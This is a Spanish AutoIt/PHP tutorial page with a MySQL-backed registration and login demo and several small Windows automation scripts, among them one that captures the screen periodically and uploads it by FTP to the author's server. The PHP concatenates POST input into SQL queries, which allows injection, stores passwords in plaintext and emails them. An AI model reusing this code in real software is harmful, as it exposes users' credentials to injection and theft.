- Al final del tutorial mencionado anteriormente creamos una base de datos llamada **u798509677\_comun**, con un usuario llamado **u798509677\_juan**, la base de datos está en **mysql.hostinger.es**.

**- Pues bien más adelante cuando veamos los archivos PHP tendremos que poner esta información para comunicarnos desde PHP con la base de datos:**

// 1.- IDENTIFICACION nombre de la base, del usuario, clave y servidor  
$db\_host="mysql.hostinger.es";  
$db\_name="u78509677\_comun";  
$db\_login="u78509677\_juan";  
$db\_pswd="contraseña";  
$link = mysql\_connect($db\_host, $db\_login, $db\_pswd);

- Dentro de esa base de datos vamos a crear una tabla llamada **usuarios\_datos**.

- La forma de crearla la vimos en este tutorial:

[**390.- Listado de usuarios y claves en una Base de datos.**](http://kio4.com/appinventor/390_nombre_clave_autentificarse_MySQL_Appinventor.htm)

|  |
| --- |
| **tabla\_registrados.sql** |
| CREATE TABLE IF NOT EXISTS `usuarios\_datos` (  `id` int(11) NOT NULL AUTO\_INCREMENT,  `nombre` varchar(15) CHARACTER SET utf8 COLLATE utf8\_spanish2\_ci NOT NULL,  `clave` varchar(7) CHARACTER SET utf8 COLLATE utf8\_spanish2\_ci NOT NULL,  `correo` varchar(20) CHARACTER SET utf8 COLLATE utf8\_spanish2\_ci NOT NULL,  `fechahora` varchar(20) CHARACTER SET utf8 COLLATE utf8\_spanish2\_ci NOT NULL,  `ip` varchar(15) CHARACTER SET utf8 COLLATE utf8\_spanish2\_ci NOT NULL,  PRIMARY KEY (`id`)  ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8\_unicode\_ci AUTO\_INCREMENT=1 ; |

- Creamos una tabla llamada **"registrados"** con 6 campos:

**id, nombre, clave, correo, fechahora, ip**

- Ya tenemos la base de datos y la tabla preparadas para recibir datos.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
3.- Archivos PHP.**

- También lo vimos en el tutorial: [**390.- Listado de usuarios y claves en una Base de datos.**](http://kio4.com/appinventor/390_nombre_clave_autentificarse_MySQL_Appinventor.htm)

- Voy a modificar un poco ese archivos PHP que vimos en ese tutorial.

- Este archivo recibe mediante $\_POST los datos que enviará AutoIt. Identificará la base de datos:

// 1.- IDENTIFICACION nombre de la base, del usuario, clave y servidor  
$db\_host="mysql.hostinger.es";  
$db\_name="u78509677\_comun";  
$db\_login="u78509677\_juan";  
$db\_pswd="contraseña";  
$link = mysql\_connect($db\_host, $db\_login, $db\_pswd);

- AutoIt enviará Nombre, Clave y Correo.

- Luego el PHP devolverá una Respuesta de vuelta al AutoIt.

- Recuerda que al trabajar con este tipo de archivos debes tener cuidado con la comillas 'simples', las "dobles" y las comillas de `acento`

|  |
| --- |
| **usuarios\_registrados\_autoit.php** |
| <?php  **// Juan Antonio Villalpando.**  **// KIO4.COM**  **// 1.- IDENTIFICACION nombre de la base, del usuario, clave y servidor**  $db\_host="mysql.hostinger.es"**;**  $db\_name="u798509677\_comun"**;**  $db\_login="u798509677\_juan"**;**  $db\_pswd="contraseña"**;**  **// 2.- CONEXION A LA BASE DE DATOS**  $link = **new** mysqli**(**$db\_host**,** $db\_login**,** $db\_pswd**,** $db\_name**);**  $datos = $\_POST**;**  $eleccion = $\_POST**[**'eleccion'**];**  **/////////////////////////////// REGISTRAR ////////////////////////////////////**  **if(**$eleccion == 'registrar'**){**  $Nombre=$datos**[**'nombre'**];**  $Clave=$datos**[**'clave'**];**  $Correo=$datos**[**'correo'**];**  **// 3.- FECHA DE ALTA**  date\_default\_timezone\_set**(**'Europe/Madrid'**);** **// Fecha del país**  setlocale**(**LC\_ALL**,**'es\_ES'**);**  $zone=3600\*2 **;**  $fechahora=gmdate**(**"j/m/y H:i:s"**,** time**()** + $zone**);**  **// 4.- TOMAR LA IP DEL USUARIO**  **if** **(**getenv**(**"HTTP\_X\_FORWARDED\_FOR"**))** **{**  $TuIP = getenv**(**"HTTP\_X\_FORWARDED\_FOR"**);**  **}** **else** **{**  $TuIP = getenv**(**"REMOTE\_ADDR"**);**  **}**  **// 5.- INSERCIÓN DE DATOS**  $query="INSERT INTO usuarios\_datos (nombre, clave,correo,fechahora,ip) VALUES ('$Nombre','$Clave','$Correo','$fechahora','$TuIP')"**;**  mysqli\_query **(**$link**,** $query**);**  **echo** "Datos agregados a la base."**;**  mysqli\_close**(**$link**);**  **////////// CORREO QUE SE ENVIARÁ AL REGISTRARSE ////////////////////////////////**  $asunto = "Entrada en la aplicación de KIO4.COM"**;**  $mensaje = "Bienvenido a nuestra aplicación, Nombre= "**.**$Nombre**.**" y Clave= "**.**$Clave**;**  $decorreo="ejemplo@ejemplo.com"**;**  **if** **(**mail**(**$Correo**,** $asunto**,** $mensaje**,** $decorreo**))**  **//if (mail($Correo, $asunto, $mensaje, "From: $Nombre** <$decorreo>"**))**  **{**  **echo(**"Mensaje enviado. "**);**  **}**  **else**  **{**  **echo(**"Error en el envio!..."**);**  **}**  **///////////////////////////////// FIN DE CORREO ///////////////////////////////**  **}**  **/////////////////////////////// ENTRAR ////////////////////////////////////**  **if(**$eleccion == 'entrar'**){**  $Nombre=$datos**[**'nombre'**];**  $Clave=$datos**[**'clave'**];**  $res=mysqli\_query**(**$link**,** "SELECT nombre,clave FROM `usuarios\_datos` WHERE `nombre`='$Nombre' AND `clave`='$Clave' "**);**  $row=mysqli\_fetch\_array**(**$res**);**  $count = mysqli\_num\_rows**(**$res**);**  **if(** $count >= 1 **)** **{** **// Si hay 1 o más Juan - 1234, es que el usuario y clave existen.**  **echo** 'REGISTRADO'**;**  **}** **else** **{**  **echo** 'NO EXISTE'**;**  **}**  mysqli\_close**(**$link**);**  **}**  ?> |

|  |
| --- |
| - Cuidado con las mayúsculas y las minúsculas.  - Cuidado con POST y GET.  - Cuidado con las comillas 'simples', las comillas "dobles" y las comillas de `acento` |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
4.- Aplicación en AutoIt para registrarse y autenficarse.**

- Enviará un mensaje al servidor remoto y mediante PHP insertará la información en MySQL. Además mediante **print** devolverá una respuesta.

- Registrará al usuario. Lo guardará en el base de datos MySQL. Le enviará un correo indicando que se ha registrado. Escribe un correo real para hacer las pruebas.

- Si se autentifica y está registrado la pantalla se pondrá azul.

|  |
| --- |
| **Código para el AutoIt** |
| #include <ButtonConstants.au3>  #include <EditConstants.au3>  #include <GUIConstantsEx.au3>  #include <StaticConstants.au3>  #include <WindowsConstants.au3>  **#Region ### START Koda GUI section ### Form=**  $Form1\_1 = GUICreate("Registro - Juan A. Villalpando"**,** 775**,** 262**,** 192**,** 132)  $Label1 = GUICtrlCreateLabel("Nombre: "**,** 32**,** 32**,** 59**,** 20)  $Label2 = GUICtrlCreateLabel("Clave: "**,** 32**,** 72**,** 45**,** 20)  $Label3 = GUICtrlCreateLabel("Correo: "**,** 32**,** 112**,** 51**,** 20)  $Input1 = GUICtrlCreateInput("juan"**,** 120**,** 32**,** 137**,** 24)  $Input2 = GUICtrlCreateInput("1234"**,** 120**,** 72**,** 137**,** 24)  $Input3 = GUICtrlCreateInput("correoreal@yahoo.com"**,** 120**,** 112**,** 193**,** 24)  $Button1 = GUICtrlCreateButton("Pulsa para registrarte"**,** 32**,** 168**,** 241**,** 65)  $Label4 = GUICtrlCreateLabel("Nombre:"**,** 472**,** 32**,** 56**,** 20)  $input4 = GUICtrlCreateInput("juan"**,** 560**,** 24**,** 121**,** 24)  $Label5 = GUICtrlCreateLabel("Clave: "**,** 472**,** 72**,** 45**,** 20)  $Input5 = GUICtrlCreateInput("1234"**,** 560**,** 64**,** 121**,** 24)  $Button2 = GUICtrlCreateButton("Si ya estás registrado. Pulsa para entrar."**,** 464**,** 168**,** 297**,** 57)  $Label6 = GUICtrlCreateLabel("Label6"**,** 448**,** 112**,** 309**,** 44)  GUISetState(@SW\_SHOW)  **; Juan A. Villalpando - KIO4.COM**  **#EndRegion ### END Koda GUI section ###**  $Respuesta=""  **While** 1  $msg = GuiGetMsg()  $nombre = GUICtrlRead($Input1)  $clave = GUICtrlRead($Input2)  $correo = GUICtrlRead($Input3)  $nombre\_entrar = GUICtrlRead($Input4)  $clave\_entrar = GUICtrlRead($Input5)  **Select**  **Case** $msg = $GUI\_EVENT\_CLOSE  **ExitLoop**  **; Botón REGISTRAR**  **Case** $msg = $Button1  $datos = "eleccion=registrar" & "&nombre=" & $nombre & "&clave=" & $clave & "&correo=" & $correo  enviar()  **; Botón ENTRAR**  **Case** $msg = $Button2  $datos = "eleccion=entrar" & "&nombre=" & $nombre\_entrar & "&clave=" & $clave\_entrar  enviar()  **if** $Respuesta = "REGISTRADO" **Then**  GUISetBkColor(0x00FFFF) **; Pantalla azul durante 2 segundos.**  Sleep(2000)  GUISetBkColor(0xFFFFFF)  **EndIf**  **EndSelect**  **Wend**  **Exit**  **; Enviar MySQL**  **Func** enviar()  $oHTTP = ObjCreate("winhttp.winhttprequest.5.1")  $oHTTP**.**Open("POST"**,** "http://kio4.esy.es/usuarios\_registrados\_autoit.php"**,** False)  $oHTTP**.**SetRequestHeader("Content-Type"**,** "application/x-www-form-urlencoded")  $oHTTP**.**Send($datos)  **; Recibir de MySQL**  $Respuesta = $oHTTP**.**ResponseText  $Codigo = $oHTTP**.**Status  Beep(800**,**500)  GUICtrlSetData($Label6**,**$Respuesta)  **EndFunc** |

- Según pulse un botón toma las variables **"eleccion**" y demás datos.

- Cuando **"eleccion**" llegue al PHP, éste realizará una de las operaciones según sea esa **"eleccion**" (**registrar, entrar**)

- La función **enviar**, envía los datos.

- Para enviar se utiliza la librería objeto de Windows**winhttp.winhttprequest.5.5**

- Los datos de los botones son enviados a la página PHP que los procesará.

- El código PHP realizará las operaciones pertinente según la elección y devolverá una Respuesta.

- La respuesta la envía el PHP mediante**print**.

- [También la podría enviar mediante **echo**].

- El AutoIt toma la información que le ha enviado print, mediante

$Respuesta = $oHTTP.ResponseText

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Propuesta.**

- Cámbia el código PHP para que si el nombre viene vacío no realice ninguna acción.

**if (isset($Nombre) ) {**

- Aquí todo del código a partir de $datos = $\_POST;

**}  
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

|  |
| --- |
|  |
| |  |  |  | | --- | --- | --- | | **100.- Hibernar el ordenador.**  - Este código hiberna o suspende el ordenador durante un tiempo. Podemos hibernarlo y despertará al cabo de cierto tiempo, el caso que tiene configurado al final del código es de 2 minutos, es decir, ejecutamos el código, el ordenador hiberna y **al cabo de 2 minutos se vuelve a encender.**   |  | | --- | | **Hibernar** | | #include <date.au3>  **;===============================================================================**  **;**  **; Description: Sets a wakeup time to wake it up if the system / computer is hibernating or standby**  **; Parameter(s): $Hour - Hour Values : 0-23**  **; $Minute - Minutes Values: 0-59**  **; $Day - Days Values : 1-31 (optional)**  **; $Month - Month Values : 1-12 (optional)**  **; $Year - Year Values : > 0 (optional)**  **;**  **; Requirement(s): DllCall**  **; Return Value(s): On Success - 1**  **; On Failure - 0 sets @ERROR = 1 and @EXTENDED (Windows API error code)**  **;**  **; Error code(s): [url=http://msdn.microsoft.com/library/default.asp?url=/library/en-us/debug/base/system\_error\_codes.asp]**  **; http://msdn.microsoft.com/library/default....error\_codes.asp[/url]**  **;**  **; Author(s): Bastel123 aka Sebastian**  **; Note(s): -**  **;**  **;===============================================================================**  **func** SetWakeUpTime($Hour**,**$Minute**,**$Day=@mday**,**$Month=@mon**,**$Year=@YEAR)  $SYSTEMTIME = DllStructCreate("ushort;ushort;ushort;ushort;ushort;ushort;ushort;ushort")  $lpSYSTEMTIME = DllStructGetPtr($SYSTEMTIME)  $LOCALFILETIME=DllStructCreate("dword;dword")  $lpLOCALFILETIME = DllStructGetPtr($LOCALFILETIME)  $DueTime=DllStructCreate("dword;dword")  $lpDueTime=DllStructGetPtr($DueTime)  DllStructSetData($SYSTEMTIME**,** 1**,** $Year)  DllStructSetData($SYSTEMTIME**,** 2**,** $Month)  DllStructSetData($SYSTEMTIME**,** 3**,** \_DateToDayOfWeek($Year**,**$Month**,**$Day)-1)  DllStructSetData($SYSTEMTIME**,** 4**,** $Day)  DllStructSetData($SYSTEMTIME**,** 5**,** $Hour)  DllStructSetData($SYSTEMTIME**,** 6**,** $Minute)  DllStructSetData($SYSTEMTIME**,** 7**,** 0)  DllStructSetData($SYSTEMTIME**,** 8**,** 0)  $result = DllCall("kernel32.dll"**,** "long"**,** "SystemTimeToFileTime"**,** "ptr"**,** $lpSystemTime**,** "ptr"**,** $lpLocalFileTime)  **If** $result[0] = 0 **Then**  **Local** $lastError = DllCall("kernel32.dll"**,** "int"**,** "GetLastError")  SetExtended($lastError[0])  SetError(1)  Return 0  **EndIf**  $result = DllCall("kernel32.dll"**,** "long"**,** "LocalFileTimeToFileTime"**,** "ptr"**,** $lpLocalFileTime**,** "ptr"**,** $lpLocalFileTime)  **If** $result[0] = 0 **Then**  **Local** $lastError = DllCall("kernel32.dll"**,** "int"**,** "GetLastError")  SetExtended($lastError[0])  SetError(1)  Return 0  **EndIf**  $result = DllCall("kernel32.dll"**,** "long"**,** "CreateWaitableTimer"**,** "long"**,** 0**,** "long"**,** True**,** "str"**,** "")  **If** $result[0] = 0 **Then**  **Local** $lastError = DllCall("kernel32.dll"**,** "int"**,** "GetLastError")  SetExtended($lastError[0])  SetError(1)  Return 0  **EndIf**  DllCall("kernel32.dll"**,** "none"**,** "CancelWaitableTimer"**,** "long"**,**$result[0])  DllStructSetData($DueTime**,** 1**,** DllStructGetData($LocalFILETIME**,** 1))  DllStructSetData($DueTime**,** 2**,** DllStructGetData($LocalFILETIME**,** 2))  $result=DllCall("kernel32.dll"**,**"long"**,**"SetWaitableTimer"**,**"long"**,**$result[0]**,**"ptr"**,**$lpDueTime**,**"long"**,**1000**,**"long"**,**0**,**"long"**,**0**,**"long"**,**true)  **If** $result[0] = 0 **Then**  **Local** $lastError = DllCall("kernel32.dll"**,** "int"**,** "GetLastError")  SetExtended($lastError[0])  SetError(1)  Return 0  **EndIf**  return 1  **EndFunc**  **;===============================================================================**  **;**  **; Description: Set the computer in Hibernate or Standby Status**  **; Parameter(s): $Mode - Suspend mode : True=Hibernate, False=Suspend**  **; $Force - Force-Mode:**  **; True=the system suspends operation immediately**  **; False=FALSE, the system broadcasts a PBT\_APMQUERYSUSPEND event to each application to request permission to suspend operation**  **;**  **; Requirement(s): DllCall**  **;**  **; Author(s): Bastel123 aka Sebastian**  **; Note(s): If the system does not support hibernate use the standby mode -**  **;**  **;===============================================================================**  **Func** SetSuspend($mode=true**,**$force=true)  $result = DllCall("PowrProf.dll"**,** "long"**,** "SetSuspendState"**,** "long"**,**$mode**,** "long"**,**$force**,** "long"**,** false)  **EndFunc**  SetWakeUpTime(@HOUR**,**@min+2)**; wakeup the system in 2 minutes from now**  SetSuspend()**; go to hibernate mode** |   - de <https://www.autoitscript.com/forum/topic/21575-hibernate-and-wakeup-the-computer/>  **\_\_\_\_\_** | | |
| |  |  |  | | --- | --- | --- | | - Mi correo: **juana1991@yahoo.com** | **- KIO4.COM** | [- Política de cookies.](http://kio4.com/politicacookies.htm) | | |

**102.- Apagar/encender el monitor.**

- Pulsa la tecla F11 y el botón de "Aceptar" para apagar el monitor.

- Pulsa F10 para encender el monitor.

- Escape para salir.

|  |
| --- |
| **Apagar/encender el monitor.** |
| #NoTrayIcon  **Global** **Const** $lciWM\_SYSCommand = 274  **Global** **Const** $lciSC\_MonitorPower = 61808  **Global** **Const** $lciPower\_Off = 2  **Global** **Const** $lciPower\_On = -1  **Global** $MonitorIsOff = False  HotKeySet("{F11}"**,** "\_Monitor\_OFF")  HotKeySet("{F10}"**,** "\_Monitor\_ON")  HotKeySet("{Esc}"**,** "\_Quit")  MsgBox(64**,** "Monitor On/Off"**,** "Press F11 to turn off the monitor." & @LF & \_  "Press F10 to turn on the monitor back." & @LF & \_  "Press ESC to turn on the monitor and exit program.")  **While** 1  Sleep(10)  **WEnd**  **Func** \_Monitor\_ON()  $MonitorIsOff = False  **Local** $Progman\_hwnd = WinGetHandle('[CLASS:Progman]')  DllCall('user32.dll'**,** 'int'**,** 'SendMessage'**,** \_  'hwnd'**,** $Progman\_hwnd**,** \_  'int'**,** $lciWM\_SYSCommand**,** \_  'int'**,** $lciSC\_MonitorPower**,** \_  'int'**,** $lciPower\_On)  **EndFunc**  **Func** \_Monitor\_OFF()  $MonitorIsOff = True  **Local** $Progman\_hwnd = WinGetHandle('[CLASS:Progman]')  **While** $MonitorIsOff = True  DllCall('user32.dll'**,** 'int'**,** 'SendMessage'**,** \_  'hwnd'**,** $Progman\_hwnd**,** \_  'int'**,** $lciWM\_SYSCommand**,** \_  'int'**,** $lciSC\_MonitorPower**,** \_  'int'**,** $lciPower\_Off)  \_IdleWaitCommit(0)  Sleep(20)  **WEnd**  **EndFunc**  **Func** \_IdleWaitCommit($idlesec)  **Local** $iSave**,** $LastInputInfo = DllStructCreate ("uint;dword")  DllStructSetData ($LastInputInfo**,** 1**,** DllStructGetSize ($LastInputInfo))  DllCall ("user32.dll"**,** "int"**,** "GetLastInputInfo"**,** "ptr"**,** DllStructGetPtr ($LastInputInfo))  **Do**  $iSave = DllStructGetData ($LastInputInfo**,** 2)  Sleep(60)  DllCall ("user32.dll"**,** "int"**,** "GetLastInputInfo"**,** "ptr"**,** DllStructGetPtr ($LastInputInfo))  **Until** (DllStructGetData ($LastInputInfo**,** 2)-$iSave) > $idlesec Or $MonitorIsOff = False  Return DllStructGetData ($LastInputInfo**,** 2)-$iSave  **EndFunc**  **Func** \_Quit()  \_Monitor\_ON()  **Exit**  **EndFunc** |

- de <https://www.autoitscript.com/forum/topic/57559-monitor-onoff-example/>

**\_\_\_\_\_**

**103.- Deshabilitar botones del Bloc de notas.**

- Código obtenido en: <https://gist.github.com/kissgyorgy/4519455>

- Abre el Bloc de notas pero no le funciona el botón de cerrar, ni maximizar, ni se puede mover la ventana.

|  |
| --- |
| **Deshabiliar botones.** |
| #include <GuiMenu.au3>  Run("Notepad")  WinWait("Sin título: Bloc de notas")  $handle = WinGetHandle("Sin título: Bloc de notas")  ConsoleWrite('+ Window Handle: ' & $handle & @CRLF)  DisableButton($handle**,** $SC\_CLOSE)  **; EnableButton($handle, $SC\_CLOSE) ; Para habilitarlo quita el primer ;**  DisableButton($handle**,** $SC\_MAXIMIZE)  DisableButton($handle**,** $SC\_RESTORE)  DisableButton($handle**,** $SC\_MOVE)  **Func** DisableButton($hWnd**,** $iButton)  $hSysMenu = \_GUICtrlMenu\_GetSystemMenu($hWnd**,** 0)  \_GUICtrlMenu\_RemoveMenu($hSysMenu**,** $iButton**,** False)  \_GUICtrlMenu\_DrawMenuBar($hWnd)  **EndFunc**  **Func** EnableButton($hWnd**,** $iButton)  $hSysMenu = \_GUICtrlMenu\_GetSystemMenu($hWnd**,** 1)  \_GUICtrlMenu\_RemoveMenu($hSysMenu**,** $iButton**,** False)  \_GUICtrlMenu\_DrawMenuBar($hWnd)  **EndFunc** |

- de <https://www.autoitscript.com/forum/topic/57559-monitor-onoff-example/>

**\_\_\_\_\_**

**105.- Tray. Bandeja de Windows junto al reloj.**

- Tray es la zona que está junto al reloj de Windows.

- Esta aplicación simplemente nos muestra mensajes del Tray.

- <https://www.autoitscript.com/autoit3/docs/functions/TrayTip.htm>

|  |
| --- |
| **TrayTip** |
| #include <MsgBoxConstants.au3>  #include <TrayConstants.au3>  TrayTip("I'm a title"**,** "I'm the message"**,** 0**,** $TIP\_ICONASTERISK)  MsgBox($MB\_SYSTEMMODAL**,** ""**,** "Press OK to reset the tip.")  TrayTip("clears any tray tip"**,** ""**,** 0)  MsgBox($MB\_SYSTEMMODAL**,** ""**,** "Press OK to see another tip.")  TrayTip(""**,** "A different tray tip."**,** 5)  Sleep(5000) |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**- Menú en el Tray.**

- <https://www.autoitscript.com/autoit3/docs/functions/TrayCreateMenu.htm>

- Vamos al Tray y pulsamos el icono del AutoIt con el**botón derecho del ratón**, saldrá un menú.

|  |
| --- |
| **Menú Tray** |
| NoTrayIcon  #include <MsgBoxConstants.au3>  #include <TrayConstants.au3> **; Required for the $TRAY\_ICONSTATE\_SHOW constant.**  Opt("TrayMenuMode"**,** 3)  **; The default tray menu items will not be shown and items are not checked when selected.**  **;These are options 1 and 2 for TrayMenuMode.**  Example()  **Func** Example()  **Local** $iSettings = TrayCreateMenu("Settings") **; Create a tray menu sub menu with two sub items.**  **Local** $iDisplay = TrayCreateItem("Display"**,** $iSettings)  **Local** $iPrinter = TrayCreateItem("Printer"**,** $iSettings)  TrayCreateItem("") **; Create a separator line.**  **Local** $idAbout = TrayCreateItem("About")  TrayCreateItem("") **; Create a separator line.**  **Local** $idExit = TrayCreateItem("Exit")  TraySetState($TRAY\_ICONSTATE\_SHOW) **; Show the tray menu.**  **While** 1  **Switch** TrayGetMsg()  **Case** $idAbout **; Display a message box about the AutoIt version and installation path of the AutoIt executable.**  MsgBox($MB\_SYSTEMMODAL**,** ""**,** "AutoIt tray menu example." & @CRLF & @CRLF & \_  "Version: " & @AutoItVersion & @CRLF & \_  "Install Path: " & StringLeft(@AutoItExe**,** StringInStr(@AutoItExe**,** "\"**,** 0**,** -1) - 1))  **; Find the folder of a full path.**  **Case** $iDisplay**,** $iPrinter  MsgBox($MB\_SYSTEMMODAL**,** ""**,** "A sub menu item was selected from the tray menu.")  **Case** $idExit **; Exit the loop.**  **ExitLoop**  **EndSwitch**  **WEnd**  **EndFunc** **;==>Example** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**- #NoTrayIcon.**

- <https://www.autoitscript.com/autoit3/docs/keywords/NoTrayIcon.htm>

- Para que no se muestre el icono del Tray (bandeja de Windows al lado del reloj).

**\_\_\_\_\_**

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| |  |  |  |  |  | | --- | --- | --- | --- | --- | | **108.- Quitar/poner la barra de tareas de Windows.**   |  | | --- | | **Quita y poner la barra de tareas.** | | Opt('WINTITLEMATCHMODE'**,** 4)  ControlHide('classname=Shell\_TrayWnd'**,** ''**,** '')  Sleep(3000)  ControlShow('classname=Shell\_TrayWnd'**,** ''**,** '') |   **\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**  **- Ocultar una aplicación. WinSetState.**  - <https://www.autoitscript.com/autoit3/docs/functions/WinSetState.htm>  - Muestra, oculta, minimiza, maximiza o restaura una ventana.   |  | | --- | | **Ocultar/desocultar aplicación.** | | Example()  **Func** Example()  **; Run Notepad**  Run("notepad.exe")  **; Espera 10 segundos para que aparezca el Bloc de notas.**  **Local** $hWnd = WinWait("[CLASS:Notepad]"**,** ""**,** 10)  **; Pone el Bloc de nota en estado oculto.**  WinSetState($hWnd**,** ""**,** @SW\_HIDE)  **; Espera 2 segundos.**  Sleep(2000)  **; Pone el Bloc de nota en estado visible.**  WinSetState($hWnd**,** ""**,** @SW\_SHOW)  **; Espera 2 segundos.**  Sleep(2000)  **; Cierra el Bloc de notas.**  WinClose($hWnd)  **EndFunc** |   **\_\_\_\_\_** | |
| |  | | --- | | - Mi correo: | |

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| |  |  |  |  |  | | --- | --- | --- | --- | --- | | **108.- Quitar/poner la barra de tareas de Windows.**   |  | | --- | | **Quita y poner la barra de tareas.** | | Opt('WINTITLEMATCHMODE'**,** 4)  ControlHide('classname=Shell\_TrayWnd'**,** ''**,** '')  Sleep(3000)  ControlShow('classname=Shell\_TrayWnd'**,** ''**,** '') |   **\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**  **- Ocultar una aplicación. WinSetState.**  - <https://www.autoitscript.com/autoit3/docs/functions/WinSetState.htm>  - Muestra, oculta, minimiza, maximiza o restaura una ventana.   |  | | --- | | **Ocultar/desocultar aplicación.** | | Example()  **Func** Example()  **; Run Notepad**  Run("notepad.exe")  **; Espera 10 segundos para que aparezca el Bloc de notas.**  **Local** $hWnd = WinWait("[CLASS:Notepad]"**,** ""**,** 10)  **; Pone el Bloc de nota en estado oculto.**  WinSetState($hWnd**,** ""**,** @SW\_HIDE)  **; Espera 2 segundos.**  Sleep(2000)  **; Pone el Bloc de nota en estado visible.**  WinSetState($hWnd**,** ""**,** @SW\_SHOW)  **; Espera 2 segundos.**  Sleep(2000)  **; Cierra el Bloc de notas.**  WinClose($hWnd)  **EndFunc** |   **\_\_\_\_\_** | |
| |  | | --- | | - Mi correo: | |

**110.- Capturar pantalla y enviarla por FTP.**

- Cada 10 segundos se realiza una captura de pantalla, esa imagen se guarda en la carpeta Mis Documentos del ordenador y se envía por FTP a un servidor remoto.

- Vamos a necesitar un hosting, esto es un sitio de internet remoto donde guardar las imágenes.

- En el siguiente tutorial vimos cómo darnos de alta en un servidor gratuito llamado **Hostinger**. Lee este tutorial y hazte una cuenta en ese hosting:

- Hostinger: [**317.- Hosting gratuito, Hostinger**](http://kio4.com/appinventor/317_hosting_gratuito_3.htm).

- También necesitamos un cliente FTP para poder subir/bajar archivos a ese servidor remoto. Utilizaremos el**cliente Filezilla** como también [he explicado en el tutorial anterior.](http://kio4.com/appinventor/317_hosting_gratuito_3.htm#ftp)

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
**- Creación de la carpeta remota.**

- Vamos a crear una carpeta en el servidor remoto llamada **"mis\_imagenes**". Para eso entramos en el Filezilla, conectamos con el hosting remoto, marcamos sobre **public\_html**, pulsamos con el botón derecho del ratón y luego en **"Crear directorio"**.

- Aunque**no es necesario**, ya que somos los propietarios de esa carpeta, vamos a añadir permisos de Escribir para todos los usuarios.

|  |  |
| --- | --- |
|  |  |

------------------------------------------------------------------------------------------------------------------------------------------------

- Los archivos de imagen que capturemos se guardarán en la carpeta**Mis Documentos** de nuestro ordenador local. Consulta esa carpeta.

- Los archivos de imagen tendrán como nombre la fecha y hora de su captura: 24-06-14-34-16.jpg

- Cuando ejecutes el script, entra en el cliente Filezilla y consulta el directorio**"mis\_imagenes"** para comprobar que han subido.

------------------------------------------------------------------------------------------------------------------------------------------------

- Posiblemente cuando ejecutemos el código por primera vez nos saldrá la ventana del**Firewall de Windows**, indicando que AutoIt quiere enviar archivos remotos. Simplemente pulsa **"Permitir acceso"**.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Código de captura automática de pantalla y envío por FTP a un servidor remoto.**

|  |
| --- |
| **Capturar pantalla y enviar por FTP.** |
| #include <FTPEx.au3>  #include <ScreenCapture.au3>  **; Juan A. Villalpando - KIO4.COM**  $Servidor = "kio4.esy.es"  $Usuario = "u798509677"  $Clave = "contraseña"  **; Realiza 8 capturas y envíos FTP.**  **For** $n = 1 **to** 8  $fecha = @MDAY & "-" & @MON & "-" & @HOUR & "-" & @MIN & "-" & @SEC  **;;;;;;;;;;;;;;;;; CAPTURA y GUARDA EN Mis Documentos ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;**  **; Captura la pantalla completa**  $mi\_captura = \_ScreenCapture\_Capture("")  **; Guarda la imagen capturada en la carpeta de Mis documentos, el nombre será la fecha-hora de hoy.**  \_ScreenCapture\_SaveImage(@MyDocumentsDir & "\" & $fecha & ".jpg"**,** $mi\_captura)  **; Muestra la imagen capturada.**  ShellExecute(@MyDocumentsDir & "\" & $fecha & ".jpg")  **;;;;;;;;;;;;;;;;;;;;;;;; ENVÍO POR FTP ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;**  **; Conecta.**  $mi\_ftp = \_FTP\_Open("abrir")  $archivo\_local = @MyDocumentsDir & "\" & $fecha & ".jpg"  $archivo\_remoto = "mis\_imagenes/" & $fecha & ".jpg"  $conectar = \_FTP\_Connect($mi\_ftp**,** $Servidor**,** $Usuario**,** $Clave)  **; Envía.**  \_FTP\_FilePut($conectar**,** $archivo\_local**,** $archivo\_remoto)  \_FTP\_Close($conectar)  \_FTP\_Close($mi\_ftp)  **; Espera 10 segundos para la siguiente captura y envío.**  Sleep(10000)  **Next** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Comentarios.**

- El Bucle For ... to ..... Next, realiza el código interior 8 veces.

- $fecha = 24-06-14-32-51

- @MyDocumentsDir es la carpeta de Mis documentos o Biblioteca / Documentos.

- $fecha & ".jpg" esto lo hacemos para que las imágenes se guarden con formato jpg de imagen: 24-06-14-32-51.jpg

- <https://www.autoitscript.com/autoit3/docs/libfunctions/_FTP_Connect.htm>

- <https://www.autoitscript.com/autoit3/docs/libfunctions/_FTP_FilePut.htm>

